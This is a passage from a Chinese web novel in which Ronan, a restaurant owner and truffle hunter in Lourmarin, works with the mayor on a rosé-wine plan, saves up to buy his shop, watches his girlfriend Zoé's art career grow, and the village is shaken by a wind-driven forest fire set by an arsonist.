“今天可不是10月初,身体又热起来了?不在室内坐着,非要出来吹冷风吗?” 布兰科指着城堡说: “你知道吗,我曾经邀请过旅游局的人好几次,希望他们能来看看现在的卢尔马兰城堡,但每次他们都用各种理由拒绝。” 罗南并不想装什么‘上流人士’,他实事求是的给布兰科解释: “其实我和政府的人一点都不熟,只是我有一个朋友.她似乎有一些比较厉害的政府关系,开了餐厅后她帮我宣传了一次,所以来了许多官员。” 布兰科停顿了一下: “告诉你旅游局对粉红酒手工酿酒工艺感兴趣的那个朋友?” 终于要找我聊粉红酒的话题了吗罗南在心中嘀咕。 不过他摇了摇头: “不是那个。” 布兰科心中一凉。 他知道罗南身边一定有一个极其厉害的朋友,但没想到会厉害到如此。 但不是这个朋友说的吗? 怎料罗南一个大喘气: “但是这个厉害的朋友说卢尔马兰的预算申请被旅游局拒绝了,也是她建议.让卢尔马兰试试拿粉红酒做特色。” “真的假的?”布兰科完全冷静不下来了。 这是那个幕后大佬给指的路? 思量再三,罗南坦城的对布兰科说: “虽然说是我的朋友,但那位大人架子大到,想让她动动嘴都很难的地步她不会给我们提供任何实际帮助的。” 罗南还有半句话没说完即使她有这个能力也不会做的。 在某次聚会中,罗南曾问过伊内斯等人,真的无法改变粉红酒在普罗旺斯的地位吗,大家全部看向阿斯特丽德。 大家没说话,但罗南知道阿斯特丽德绝对有这个实力。 罗南继续补充道: “今天我也旁敲侧击的问了旅游局的人对粉红酒是什么态度,但什么都没问出来,他们似乎接受过训练似的太会‘打太极’了。” 布兰科笑着摇了摇头: “手里的预算太多,打他们主意的人一定很多,也是一种变相的自我保护吧。” 罗南拍了一下护栏: “我知道你很为难,毕竟这是有可能会影响卢尔马兰几百人的大事,你再仔细想想吧.不用马上给我回复。” 布兰科也拍了一下围栏: “我觉得不用再考虑了。” 罗南不明所以的侧头看他。 布兰科面带微笑的看着更远处的吕贝隆山谷: “你可以和我站在这里平等的聊这件事,代表你已经有了和我一起做这个决定的能力,我尊重你的选择和建议。” 罗南可以接触到布兰科接触不到的人,可以知道布兰科接触不到的事。 他的眼光和判断可能比布兰科还要精准。 而且罗南身后还有一个深不可测的朋友。 罗南吃惊的看过去: “不再考虑一下了吗?” 布兰科面无表情的摇头: “其实选择任何做特色之路都是赌注,现在就是看哪个的赢面更大一些罢了,现在看下来.粉红酒真的有可能是黑马。” 如果不考虑粉红酒,布兰科现在心里的第一选择可能会是绣被,但那并没有唯一性。 粉红酒有唯一性,它的问题是有太多负面的声音。 不过罗南都可以让家庭妇女走出家庭工作,解决这些问题也不是完全没有可能的。 他突然拍了一下罗南的胳膊: “你不用有心理负担,这个决定是我做的,如果失败了,责任我会一个人担下来,和你们其他人都没有关系。” 罗南马上急了: “那怎么行?主意是我出的。” 布兰科摆手: “你该干什么干什么,等我研究一下,做好详细的计划后来和你聊下一步应该怎么做,在那之前你什么都不用管,好好开你的餐厅就行了。” 罗南更着急了,对布兰科严肃的说: “你要一个人扛下来?你疯了吗布兰科,这不是你一个人的事。” 布兰科笑着说: “大家已经很——” 罗南拍着胸脯,用不容置疑的语气说: “普罗旺斯的朋友都是真朋友,尤其是农夫,这件事是我们两个人一起研究出来的,我不可能看着你一个人扛下所有。” 布兰科想反驳,我是村长,我不扛谁扛? 可是随即一想,他始终独自扛下所有,解决问题了吗? 特色之路这么多年迟迟未找到。 不还是罗南通过他朋友的消息给到的建议吗? 现在也是罗南让他下定了决心。 布兰科扭头看向卢尔马兰城堡,憋着笑说: “但我是比利牛斯省人。” 见罗南又要张口,布兰科马上笑着抢先说道: “好了好了,我承认这是个普罗旺斯式笑话。” 罗南知道布兰科这是同意了,拍了拍他的肩膀: “未来我们两个一起努力。” 布兰科突然笑了: “可能不止我们两个.其实你的那个厉害朋友一直在帮你啊罗南,你怎么就那么肯定,她未来不会继续帮你呢?” 第242章 软饭硬灌 突然解决了一桩心中大事,布兰科紧绷了许久的弦终于可以暂时松下来。 晚上他又来找罗南喝酒了,而且还喝多了。 喝多了的布兰科也变了性格,沉稳内敛消失不见,取而代之的是一肚子‘远大抱负’。 他猖狂的和罗南畅想着卢尔马兰的未来: “等政府有钱了,我第一件事就是给你的餐厅做升级,内外全部升,咱们要做全普罗旺斯最棒的餐厅,我天天请电视台来给你报道。” “我还要给粉红酒设置补贴税,在卢尔马兰卖粉红酒可以得到政府的补贴,当然了,给你的政策一定是最好的,政府大力扶持你卖粉红酒!” “再开设一间学校,专门学习粉红酒手工酿制技艺,跟你请的烟囱清扫工一样,推进他们进行职业评级,你当校长!” “未来卢尔马兰就是普罗旺斯的粉红酒之都了,世界各地的游客都会来这里品尝、买粉红酒,你这个发源地肯定接待不下那么多人,到时候我再给你一个商铺,一个更大的商铺,装修的钱政府出!” “罗南,我要给你许许多多的好处,感谢你对卢尔马兰做出的贡献!” 布兰科心中的大石头放下了,但罗南心里的大石头还悬着呢。 他打断布兰科的畅想,认真的问: “先别说以后的事情,我现在这个商铺的回购价是多少?” 布兰科明年春天才会去申请预算,虽然旅游局总是把‘先做再说’挂在嘴边,但现在卢尔马兰政府和罗南都没有‘做’的资金。 布兰科会把粉红酒手工酿制做为卢尔马兰的特色,写出一份未来三年的发展规划,再和卢尔马兰的其他特色优势一起交到旅游局,如果旅游局对这份资料感兴趣,愿意给他们一定的扶持帮助,才会有下一步具体的动作。 所以布兰科现在设想的这些都是几年之后的情景那太遥远了。 你先告诉我,我什么时候能买下这间房子吧! 布兰科立即从天空落到地上,脚踏实地的说: “最近卢尔马兰的房价涨了。” 就是因为涨了我才一次次着急去问啊,之前的价格我知道.罗南腹诽道。 “我知道。”罗南耸肩,“你忘记佐伊的爸爸是做什么工作的了吗?” 布兰科笑哈哈的说: “看来你和佐伊的感情很好啊,路易连名字都不配拥有了。” 罗南笑着摆手,认真的问: “快说吧,涨到多少了?” 布兰科上午已经落实过价格了: “现在涨到24万了。” 罗南无奈的叹了一口气。 7月底只有19万,11月份24万.房价涨的太吓人了。 不过听路易说,卢尔马兰涨的还不是最疯狂的。 金三角的那几个明星村,已经有人丧心病狂的挂牌100万法郎卖房子了,而那间房子在20年前的价格只有3000法郎。 见罗南叹气,布兰科为难的说: “商业街项目已经给了店主许多补贴和优惠,政府尽力了。” 言外之意就是,虽然我们是好朋友、虽然我们是并肩作战的战友,但我无法给你任何帮助,你只能按照这个价格购买。 罗南默默喝了一口酒,表示理解: “好,我知道了。” 布兰科提醒罗南: “价格每天都在变化,这个月是24万,下个月肯定要25万以上.也许到了明年1月份会涨到30万,一切皆有可能,如果真有买的这个打算,尽快做决定吧。” 他继续用复杂的语气嘟囔: “如果我也像你一样有钱,一定会毫不犹豫的买下来做投资,别犹豫了,商业街上的房子买下来一定会升值的。” 罗南哭笑不得的疯狂喝酒。 现在不是犹豫不犹豫的问题是我没有钱啊。 这个‘有钱人’的帽子是摘不下去了。 有的时候好消息总是一桩接一桩的到来。 在布兰科决定把粉红酒作为卢尔马兰未来特色发展的第二天,托马斯也给到了罗南一个好消息。 他说商业街上的咖啡厅老板帕斯卡在这周将会来一趟卢尔马兰,他主动提出希望能和罗南见一次面。 周五的下午,罗南在餐厅门口第二次见到了这个邻居。 正如托马斯所说,几个月不见帕斯卡更胖了。 帕斯卡似乎也看出了罗南眼神里的疑惑,主动解释: “我妻子最近几个月痴迷做甜品,不知道你有没有妻子,作为丈夫,吃下妻子做的每一份甜品是义不容辞的责任。” 罗南笑着说: “我还没有妻子,不过我的女朋友很快就要成为我的妻子了。” 帕斯卡开心的说: “怪不得你能把餐厅开的那么棒,在普罗旺斯,经营不好婚姻的男人无法经营好一家餐厅,显而易见,你是其中的佼佼者。” 罗南很认同帕斯卡的说法。 他周围所有的餐厅老板都有一段美好的婚姻。 罗南笑着请帕斯卡进入餐厅: “快进来吧,外面风太大了。” 帕斯卡把烟斗叼到嘴上,幽默的说: “放心吧,这个级别的西北风无法将我吹起,不过我已经迫不及待的想要参观把我咖啡厅救活的餐厅了。” 帕斯卡的主业虽然是橄榄园主,但他对餐厅非常熟悉和了解。 他能说出罗南餐厅里许多常人无法发现的‘小细节’,例如特价菜单牌子摆放的位置和菜单里的学问等等,活像个真正的餐厅专家。 不过帕斯卡在罗南的餐厅装潢面前变成了门外汉。 “我从未在普罗旺斯见过这种风格的餐厅。”他被各种家具、灯饰和墙上挂的饰品所吸引。 罗南好奇的问: “你似乎对餐厅很熟悉?” 帕斯卡拥挤的坐到藤椅上,笑着说: “当然,我和餐厅打了一辈子交道,在普罗旺斯没有我不熟悉的餐厅.额,你是个意外,看来我需要重新梳理一次客户清单了。” “客户清单?”罗南一愣。 帕斯卡平摊双手: “我的橄榄园也在同时生产橄榄油,餐厅就是我的顾客啊。” “你也是供应商!”罗南吃惊的说,“不知道托马斯有没有跟你说,其实我也是餐厅的供应商.我给餐厅供应松露。” 帕斯卡抽起了烟斗: “托马斯跟我说了你的另一个身份,我愿意向你采购松露。” “你每个月需要多少?”见帕斯卡这么痛快,罗南也很直接的问。 帕斯卡侧了下脑袋: “2公斤左右。” 咖啡厅不比餐厅,餐品种类少很多,相应的松露消耗也会少。 罗南略微失落了一下,不过还是感激的说: “好,我每周给你送两次货,不过咱们这么近,你缺货了随时可以过来拿。” 帕斯卡追问: “我听托马斯的意思是你手里似乎有许多松露没有地方卖?” 罗南点头: “是的。” 帕斯卡拿下烟斗,握在手里: “你有多少卖不出去的货?” 罗南认真算了一下。 进入密林后,松露的出货量明显增多了。 之前他预估每个月可以有50-60公斤左右拿来卖,现在这个数字可能会来到55-65公斤。 减去给阿图尔那几个餐厅的供应后,每个月的松露盈余量将会来到25斤左右,这是最保守的数字了。 “至少25公斤。”罗南坦诚的说,“这些我会放到集市上卖。” 帕斯卡突然拍了几下肚子: “吓死我了,路上我还担心会是很大的量,这25公斤我帮你找卖家吧。” 罗南差点惊呼出口: “您可以帮我找渠道?” 帕斯卡艰难的压低身体,小声对罗南说: “如果没有你这间餐厅的帮助,我给我妻子弟弟开的那家咖啡厅可能就要倒闭了.那我将会再拿出一笔钱给他做其他生意!你给我省太多钱了,我必须要感谢你!” 罗南:“.” 谢天谢地,维埃里只喜欢足球,而且有不输路易的商业头脑。 “你可以找到能吃下这些货的餐厅?”罗南好奇的问。 帕斯卡耸肩: “这太简单了,下次‘沃克吕兹省美食联盟’聚会上我问一下,肯定有几个人会给我面子的。” 罗南手边的杯子险些被打翻: “‘沃克吕兹省美食联盟’?!艾略特先生发起的那个?” 餐厅开业后,罗南就问过阿图尔是否可以推荐他加入‘沃克吕兹省美食联盟’。 阿图尔很为难的说,他们加入后没有接到过任何官方的通知,也没见过艾略特先生,只能通过中间人尝试着问一问,但一个多月了,那边始终没有回复。 原来这个协会一直存在,但有聚会的门槛吗? 帕斯卡意外的问: “你认识艾略特?他也住在戈尔德,我们是几十年的邻居。” 罗南惊喜的说: “久仰艾略特行先生大名,而且他曾经帮助过我一次,一直想找个机会感谢他。” 帕斯卡笑呵呵的说: “这还不简单,我约了托马斯和歌迪亚过一阵子去我的橄榄园采摘,你一起去吧,我介绍你们认识。” 罗南感激的握住帕斯卡肥胖的手: “感谢你帕斯卡,你帮我大忙了!” 罗天海和冯珍一直惦记着买房子的事。 知道罗南问过村长市价后,主动和他聊了一次钱的事。 “你现在还差多少钱?”罗天海开门见山的问。 罗南坐在沙发上和小黑玩: “不多了。” 冯珍咂了一下嘴: “不多是多少啊?你到底算没算过。” 罗南当然算过了,他每天都算。 最想娶媳妇的就是他了! 但现在确实还有一个不小的缺口,着急没有用。 进入9月后,集市的收入大打折扣,以广告效果为主。 即使加入了盒饭,每周两个集市也只能卖5000多,利润在3000法郎左右。 两个月一共赚了2万多。 这其中有一部分罗南还房贷用了,平时的花销全部在这里出,还要留一点应急用,如今可以动的钱只有6000法郎。 10月份餐厅的收入里有7万存了起来。 11月大风一吹餐厅的顾客少了很多,往好了想可能有个4、5万。 虽然有卖松露的9万,但这个月还有一个5万6千法郎的暖气设备钱要支出。 24万只是购买的价格,还有7%-10%的税费呢,总花费要26万左右。 现在还有至少10万法郎的缺口。 估计过完12月差不多能存够,只不过要祈祷房价不要涨的太离谱。 罗南和父母算完账后,冯珍泄气的说: “早知道不着急装暖气了,我和你爸爸手里有7万多存款呢,我们以为咱们一起凑凑能够了。” 罗南惊讶的看过去: “可以啊,你们俩在巴黎没少存。” “在巴黎能存多少啊!”冯珍白了儿子一眼,“都是到普罗旺斯后你一点点给的,今天给2000,明天给3000,生怕我们在普罗旺斯饿死,我们都那么大岁数的人了,哪用的完这么多!” 罗南笑着对他们说: “行了,你们存着吧,到1月份就能买了。” 第二天是梅纳村的集市。 摆完摊,罗南下午去路易家找佐伊。 “放好了啊,或者我带你去银行存起来?”罗南把钱放到佐伊的工作台上。 佐伊停下工作,摘掉口罩问他: “这是什么钱?” 罗南点着她的脑袋说: “暖气的钱啊,还能是什么钱。” 佐伊抬头,露出一副‘你没事吧’的表情: “你要跟我算的这么清吗?” 罗南一怔: “什么意思?” 佐伊不耐烦的对他摆手,示意他赶紧出去: “钱我已经交完了,你的家就是我的家,你要是跟我算的这么清楚,我可不敢和你结婚了。” “不是不是不是——”罗南目瞪口呆的说,“这是两码事。” 佐伊用警告的语气对罗南说: “现在时代不一样了,我现在只是还在事业的起步阶段,等我再发展发展,必须让你感受一下被包养的感觉,我卖一个工艺品都不止五万法郎,快拿着钱出去,别耽误我赚钱。” 罗南和佐伊争论了许久,最终被强势的女艺术家轰出了大门,差点打到他白嫩的小脸。 罗南对着门小声嘀咕: “时代是变了这叫软饭硬灌吗?” 他走了两步,突然停了下来。 等等,现在买房子的钱是不是够了啊? 第243章 我要对你负责 佐伊已经不是一年前那个省吃俭用好几个月,只为买一辆几千法郎二手车的佐伊了。 罗南从月收入四位数到月收入六位数用了将近一年的时间。 但佐伊从月收入四位数到月收入六位数只用了短短的三四个月。 自从七月底在艾克斯举办的年轻艺术家玻璃器物展开始,佐伊的赚钱能力像是坐上了火箭一样,节节高升,到了罗南都感到震惊的程度。 如今每个月都会有4、5个普罗旺斯地区的展会对她发出邀请,佐伊要在众多邀请中挑选着参加了。 女司机也终于练成了车技,可以自己开车去各个地方参与活动。 可能是由于每次出去一定预示着要有新的收入,以至于太开心了,她每次空着车走,回来的时候必定会满载而归。 给自己买买买、给罗南买买、给父母买、给罗南的父母买、看心情给弟弟买男人有钱变不变坏不一定,反正女人有钱了一定会买买买买准是没错了。 巴黎一家人搬来普罗旺斯的时间不长,家里比较空,佐伊送来了东西是‘雪中送炭’。 但路易家住了几十年的老房子着实开始‘拥挤’了。 不仅佐伊自己的卧室空间告了急,路易、莉亚和维埃里的卧室也是越来越满,仓库里的东西堆放到一开门就会掉出来。 “你们有结婚的打算吗?”在某一次没有佐伊的聚会上,莉亚和路易问罗南。 佐伊再不和罗南‘修成正果’,他们家的客厅也要变成仓库了。 快把这个喜欢买买买买的有钱女人接出去吧! 罗南认真的和未来的岳父岳母保证: “明年松露采摘季结束我就会着手准备结婚的事,一定尽快把佐伊接出来,还你们一片‘清静’。” 11月底罗南就将凑够买房子的钱,但冬天并不是装修的好时机,至少要等到3月份才能开始。 “不不不,不是因为这个原因,是觉得你们感情这么稳定——”莉亚无力的反驳。 维埃里咧嘴: “妈妈,你早上还说未来要把佐伊的卧室改成仓库呢,你说佐伊买了太多没有用的咕噜噜噜噜——” 路易把一整杯粉红酒灌入维埃里的嘴里: “罗南,希望我们早日成为真正的一家人!” 路易的心态早就发生了转变。 即使佐伊嫁出去,也不过是搬到距离自己不过1公里的地方,他们还是可以每天见面。 不仅女儿还在,家里还多了一个新的家庭成员,而且这个成员是罗南.这太棒了! 一桌人对罗南送去一声声衷心的祝福,他们都是亲眼见证这对小情侣从第一次见面到走入婚姻殿堂的见证人。 罗南和大家吃了一会后,暂时离开了餐桌: “你们继续吃,我去佐伊那边看看。” 佐伊没有来参加这场聚会,是因为她也有了属于自己的社交圈子。 早在今年一二月份,罗南就发现过这个问题——佐伊会参加父母的聚会,但她又总是保持着游离在外的状态,完全融入不进去。 后来他们熟悉一些后,专门探讨过这个问题。 佐伊解释她在尼斯上的大学,毕业后同学们分散到法国各地,在卢尔马兰没有什么朋友.只能跟着父母的圈子社交。 那个时候罗南鼓励佐伊,如果不想参与长辈的聚会可以拥有自己的社交圈,没想到两个人当时随口聊的话在不到一年后就成真了。 佐伊现在在卢尔马兰的朋友,比她爸爸路易还多。 路易的聚会对象只有那几个人,万年不变。 但受佐伊影响,搬来卢尔马兰暂住的艺术家已经有三十多个,这还没有算住在其他地方,但会经常来找她探讨艺术话题的人。 即使外面刮着西北风,罗南的餐厅里每天也至少有四五桌艺术家朋友聚集在这里。 以罗南为中心的农夫圈子,和以佐伊为代表的艺术家圈子,全部拿罗南的餐厅作为了根据地。 而在搬来卢尔马兰的艺术家中,佐伊也交到了几个还不错的朋友。 其中一个是名为薇薇安的女画家,她是最早搬来卢尔马兰的第一批艺术家,租的房子距离佐伊家非常近,两个人在私下经常见面。 佐伊的第二个好朋友是叫宝莱特的女作家,她虽然在近期才搬来卢尔马兰,但在佐伊成名前两人就开始进行密集的书信往来,彼此熟悉。 而佐伊的另一个朋友,也是罗南的朋友.那便是歌迪亚,这位玩过摇滚、现在在做艺术品商店的女朋克通过她的人脉,在艾克斯帮佐伊处理了不少工作上的杂事,两人因此关系日益亲近。 佐伊每周都会和‘姐妹团’聚会,但其他人是孤身前来,只有佐伊次次要拉着罗南一起,引起了姐妹们不小的‘抵触’情绪。 “你怎么又来了?不是刚刚才走吗?”歌迪亚见罗南又坐过来了,‘不满’的嘟囔。 “我走过吗?”罗南拿起他还有酒的杯子喝了一口,用开玩笑的语气说,“我只是从餐厅的这一桌挪到餐厅的那一桌.你们下次聚会能不能不要和我的其他聚会撞到一起啊,我太忙了。” 这话罗南是对歌迪亚说的,因为今天的聚会是她发起的。 如果是佐伊发起的,她一定会考虑罗南的时间问题。 薇薇安也开玩笑的替歌迪亚辩解: “我们就是想聊一些女人间的话题,才故意选你也有聚会的日子,没想到都这样了还是要被逼无奈‘吃狗粮’。” 女作家宝莱特把头挪到另一侧: “佐伊,罗南的手是有残疾吗,需要你一直喂他吃?谢谢你们给我提供了灵感,写完现在手里的这篇,我要写一个有钱大小姐对身患残疾的青梅竹马不离不弃的爱情故事。” 歌迪亚侧头问宝莱特: “你不是写恐怖的吗?” “好了好了。”佐伊制止他们几个斗嘴,给罗南解释,“今天突然聚会是因为歌迪亚听到了一个活动,觉得很适合我和薇薇安,想让我们去参加。” 罗南好奇的问: “什么活动?” 正好佐伊和薇薇安也有问题要问,歌迪亚更加详细的讲了一次活动内容: “明年2月,吕贝隆要举办一场名为‘大地艺术’的项目,英国雕塑家安迪·戈兹沃西会在戈尔德现场创作一个用橄榄枝和石灰石组成的以自然为主题的作品.安迪·戈兹沃西是世界级雕塑大师,他的现场创作会吸引来全世界艺术界的关注,那将是一场盛大的艺术狂欢。” 歌迪亚看着佐伊和薇薇安说: “但咱们怎么能让英国人在我们的地盘上出尽风头呢?普罗旺斯艺术界对此非常重视,呼吁当地艺术家也围绕该主题进行创作,在安迪·戈兹沃西创作期间于戈尔德展出,明年1-3月在戈尔德会有大大小小十几个围绕自然的大型展览和展会,你们两个都很适合这个主题,应该尽早开始准备,我去帮你们打听送展的流程和时间。” 薇薇安胆怯的说: “但你说这次参与的会是全体普罗旺斯艺术家,像克劳德·维亚拉、塞萨尔和让·米歇尔这些殿堂级艺术家也要来我连新锐艺术家的名单还没挤进去,哪有资格参与这种活动啊?” 罗南正要开口劝她,同为新人艺术家的佐伊先罗南一步开口了: “薇薇安,正是因为这是面向全体普罗旺斯艺术家的活动,我们才更要去试一试,你们总是说缺少好的展示舞台.这难道不是最好的舞台吗?对于新艺术家来说,下次遇到这种可以和殿堂级别艺术家同台的机会可能要等到几年甚至十几年后了。” 薇薇安疯狂摇头: “我不行,我真的不行,佐伊你自己去吧,你肯定有这个资格,你在普罗旺斯艺术界有一定知名度了。” 佐伊没有回复薇薇安,而是对歌迪亚说: “你去帮我们了解下有没有更详尽的活动主题和要求,不止我和薇薇安要参加,我会和周围所有艺术家说,能去的都去试一试。” 卢尔马兰的艺术家圈子全部是新人艺术家,没有名气的那种,大家都需要这个机会。 “我真的不行!!”薇薇安惊恐的说。 佐伊拍了拍薇薇安的胳膊,鼓励她说: “你可以的薇薇安,你画的那么好,不要放弃任何一个机会,哪怕只有一点点希望也要拿出百分之二百的努力,不要让自己遗憾好吗,亲爱的?” 薇薇安做出一个‘杀了我吧’的表情: “但那是克劳德·维亚拉、塞萨尔和让·米歇尔啊!我哪有能力和他们参与同一个展览?” 佐伊笑着说: “但他们也不是一生下来就是克劳德·维亚拉、塞萨尔和让·米歇尔啊?不都是从我们这个阶段慢慢熬出来的吗?放心吧薇薇安,到时候大家一起准备,说不定会非常有趣呢,好了好了,这件事就这么定了啊。” 薇薇安蔫蔫的说: “那好吧。” 说服完薇薇安,佐伊笑着对歌迪亚说: “感谢你通知我们这么重要的消息,我会监督大家好好准备的.谢谢你。” 歌迪亚起身去拥抱佐伊: “我太喜欢你的性格了佐伊.希望明年卢尔马兰的艺术家可以在戈尔德掀起一股艺术风暴!” 佐伊的姐妹聚会先一步结束,歌迪亚几个人离开后,佐伊和罗南回到父母聚会这边。 弗雷迪见佐伊来了,夸张的模仿起某些艺术家见到佐伊时的兴奋样子: “佐伊,是佐伊!我终于见到佐伊了!” 如果是几个月前,弗雷迪这样开玩笑,佐伊一定会笑着说: “好了,别拿我开玩笑了弗雷迪叔叔。” 之后她会安静的坐在一个角落,努力降低自己的存在感。 但现在的佐伊会自信的反拿起叉子,和弗雷迪开玩笑的说: “需要签名吗弗雷迪叔叔?我现在的签名也能值几十法郎呢,当然这是在普罗旺斯的价格.出了普罗旺斯那将是废纸一张。” 桌子上的众人笑做一团。 这两三个月佐伊的性格变了许多。 开朗了,人也自信了。 以前她总是特意的降低自己的存在感,现在她不再收敛自己的‘锋芒’。 老卡尔扶着拐杖说: “佐伊现在是大人的模样了。” 佐伊举起罗南的杯子,远远的敬了老卡尔一杯,之后落落大方的说: “当然是大人了。” 她突然看向父母和维埃里,似笑非笑的问: “我刚刚好像听到你们说.要把我赶出去?” 罗南在哪儿,佐伊的‘心’在哪儿。 她刚刚没少听这桌的谈话。 大家笑的更大声了,纷纷看罗南。 罗南笑着搂住佐伊的肩膀,把她拉向自己身体这一侧: “不是不是,和他们没关系,是我着急把你接出来了。” 桌上的人说说笑笑。 小情侣偷偷的聊起了悄悄话。 “你现在越来越厉害了。”罗南感概道。 “赚钱吗?”佐伊反问。 “不止。”罗南看着佐伊的眼睛说,“你现在可以号召卢尔马兰的所有艺术家做事情了。” 佐伊认真的纠正: “那不是号召,是建议。” 罗南笑着说: “一样的意思,反正他们都听你的,你是老大。” 佐伊挑衅的说: “怎么,你有意见?” 罗南扯着嘴角说: “怎么会呢,我是替你开心,你这几个月的成长和变化太快了。” 不止老卡尔他们觉得佐伊变了。 连罗南都觉得佐伊身上出现了许多变化。 不过全部是往好的方向的改变。 总之罗南越来越爱佐伊了,恨不得马上把她娶回家。 佐伊把胳膊搭到罗南的肩膀上,眼神炙热的看他: “不能只有你一个人在成长,我也要快速成长和变强我要对你负责。” 你知道我为了追到你花了多少心思吗? 得到了当然要珍惜啊。 罗南坏笑着说: “那你可要负责到底了——” 后半句话没说完,因为被佐伊用嘴堵住了。 维埃里大声抗议: “他们总是说着说着就亲到一起!他们太恶心了!!” 莉亚大声训斥儿子: “你别看不就完了?你看我们这么多人有人注意吗?” 路易冷哼一声: “我像你这么大的时候都认识你妈妈了,你现在还抱着足球满处跑呢,维埃里,以后聚会你也别来参加了,开拓属于你的社交圈子去吧,你和我们这些正常人不一样。” 第244章 开始后手准备! 不知不觉中,罗南搬来普罗旺斯马上就要一年了,他渐渐融入了这个第二故乡,有的时候甚至会忘记自己巴黎佬的身份。 但普罗旺斯也有许多东西让罗南很难融入就比如这里各种不靠谱的人和事情。 如果罗南未来要写一本关于普罗旺斯的,那么‘不靠谱’这个主题一定会贯穿故事的始末,他甚至有可能在结尾单独加一个附录,总结出一个‘不靠谱清单’,让读者们避坑。 而这份‘不靠谱清单’中一定会有天气预报。 普罗旺斯的天气预报太不靠谱了! 在他们的播报中,每一天都是阳光普照、万里无云的日子。 罗南觉得普罗旺斯的天气预报应该改名叫‘愿望预报’——普罗旺斯人希望一年365天的天气都像他们播报的那样。 后来罗南听本地村民讲,他们早就放弃了观看本地气象局发布的气象预报,如果对天气非常在意,会去订购一个名叫‘卡朋克气象站’印刷的私人天气预报。 这份油印天气预报每周出版一次,会预告未来一周普罗旺斯各地的天气。 巴黎一家人有看天气的习惯,于是他们在路易的帮助下,订购了这份私人天气预报。 它会以信件的方式每周一送到他家门口的邮箱里。 冯珍习惯了每周一早上在窗边等待邮差特雷西的出现,不过这段日子她对此更加迫切了。 “天啊,下周还会刮风!”冯珍像宣读圣旨一样打开决定他们未来一周命运的天气预报,生气的说,“这场大风太影响我们的客流量了。” 罗南已经记不得这场西北风持续多久了。 总之从身边有人开始议论它起,这场风就一直没有停下过。 只是大或小的问题。 但无论是大是小,普罗旺斯人一见到糟糕天气心情就不好,一心情不好就不想出门,一不想出门他们的餐厅就会没有客人。 由于这场持续不断西北风的影响,餐厅已经提前关闭了室外用餐区,因为人坐不满了.但按照他们之前的预估,到11月底才应该因为白天气温降低而关闭那里。 “我们算幸运的,还有顾客,能保持正常的运营,你没听广播里播吗,博尼约的餐厅都关门了。”罗天海翻看着一起送来的报纸说。 罗南拿着咖啡杯说: “不是餐厅关了,是杂货店关了,那老板觉得世界末日要来了.没必要开门赚钱了。” 这场席卷了普罗旺斯数日的西北风像是银行的账单一样沉甸甸的压在本地居民的心头,无论在哪里都能听到关于它的言论。 连已经在罗南的影响下‘生机勃勃’的卢尔马兰,都笼罩在一层沮丧低迷的气氛里。 没办法.普罗旺斯人实在太痛恨糟糕天气了。 4级【种植】带来的能力只给了罗南对和‘水’有关天气现象的推测能力,这其中风还是其中一个判断依据。 所以罗南也不知道这场西北风要吹到什么时候。 冯珍仔仔细细看完了天气预报,终于死心了: “今天我和托马斯一起去教堂上晚课吧。” 罗天海咂了一下嘴,不悦的说: “你又不信,去干什么?别听托马斯瞎说,主还能管普罗旺斯刮不刮风吗?” 托马斯正四处组织人去教堂祈愿,希望主能还给普罗旺斯一个好的天气。 “干什么?”冯珍气呼呼的说,“我祈祷让主给我一个好心情!这风再不停我也要跟普罗旺斯人一样得抑郁症了!” “你别瞎说!”罗天海少有的和老婆瞪了眼睛。 突然,头顶由远及近传来一阵巨大的‘轰鸣’声。 罗南先是一愣,随后马上想到了这个声音的出处,惊呼出口: “是灭火飞机森林里着火了!” 只有远离村庄和水源的森林着火才会出动灭火飞机。 巴黎一家人快速跑出房子,抬头看到湛蓝的天空上低空飞过了好几架红白相间的小型飞机。 由于它们身后拖着大大的水箱,看起来极其笨拙,不过三口人说不出任何嘲笑它们的话语。 “这么多架?”冯珍看远处,还有许多没有路过卢尔马兰的上空。 罗南的无比严肃的说: “这么大的风,这场火不好灭啊” 那些飞机飞往的是弗拉西耶方向。 由于现在不确定是哪里着了火,但看起来火势一定极其严峻,所以罗南今天没有出去挖松露,一直在卢尔马兰等待消息。 虽然现在没有拿到任何官方的确切消息,但普罗旺斯最不缺传播消息的人。 餐厅的每一桌都有‘情报专家’给朋友分享他们拿到的第一手消息。 “是鲁西永附近的森林着火了,火势非常大,整个鲁西永全部被浓烟笼罩,听说已经有消防员殉职,他当时正面对大火,一个不知道是松子还是什么的东西爆裂出一个火花,点燃了他身后的森林,然后前前后后只有几秒钟的时间,大家根本来不及救他。” “太夸张了吧?一个小火花就救不出来了?” “因为有西北风的‘助力’啊,它稍微一吹小火花就会变成大火苗,然后又很快变成爆裂的火焰,这场大风就是罪魁祸首!” “今年的天气实在太古怪了,雨季变得那么长,11月风又刮起了妖风不会真的要世界末日了吧?” 一整个上午,卢尔马兰上空不断有飞机往来于地中海和火海之间,开始有人传言那场大火逐渐向卢尔马兰蔓延,弄的村民们人心惶惶。 由于情况看起来确实很严峻,布兰科组织政府的官员紧急给每家每户科普了一次火灾应急措施。 莉亚忧心忡忡的说,每到圣诞节,布兰科也会给村民们进行防火教育,但那个时候大家会开玩笑的说: 着火了就躲到酒窖里,拿着酒杯和开瓶器,宁愿醉死也不被烧死。 但现在没有一个人能开的出来玩笑.说明这次的事情真的让所有人都感觉到了恐惧。 这种恐惧情绪一直持续到第二天还没有结束。 《普罗旺斯日报》终于刊登出了关于火灾的详细报道。 着火的地方确实在鲁西永附近,它足足烧毁了村子附近超过40公顷的松树林,300名消防队员、14架救火飞机和无数辆救火车才把它扑灭。 报纸上登了马群和羊群被带到安全地带的照片,还有一群消防队员在大火中的背影。 今天的《普罗旺斯日报》除了一篇索格岛的22岁小伙儿和65岁老太不顾家人反对领了结婚证、成为普罗旺斯现今存世年龄差最大的合法夫妻消息外,其余版面和头条新闻报道的全部是森林大火的消息。 官方报道没有缓解村民的任何惶恐情绪,甚至将其加剧,因为在一个不大的地方,警方公布了此次森林大火的调查进度。 请注意,是警方! 森林大火一旦和警方扯上关系就没有那么简单了。 原来这场巨大的灾难是人为纵火造成的。 报道称那名纵火犯在纵火前还给警局写了信,挑衅的说只要西北风不停,他就将用火柴点遍普罗旺斯的每一片森林,警方目前正在逮捕他的途中。 “真是个该死的家伙!”亨利把嘴里没来及点的烟扔到桌子上,“他居然因为西北风放火!” 特奥表情狰狞的像是要吃人: “他如果敢来卢尔马兰放火,我会把他活活打死!” 特奥家身后的缓坡连接的就是一片森林,一想到安娜有可能会遇到危险,他现在就想拿着枪出去加入警局搜捕纵火犯的队伍。 康奈尔连喝酒的心情都没有了,不停叹气: “这场风什么时候停啊,上帝,它带来太多麻烦了。” 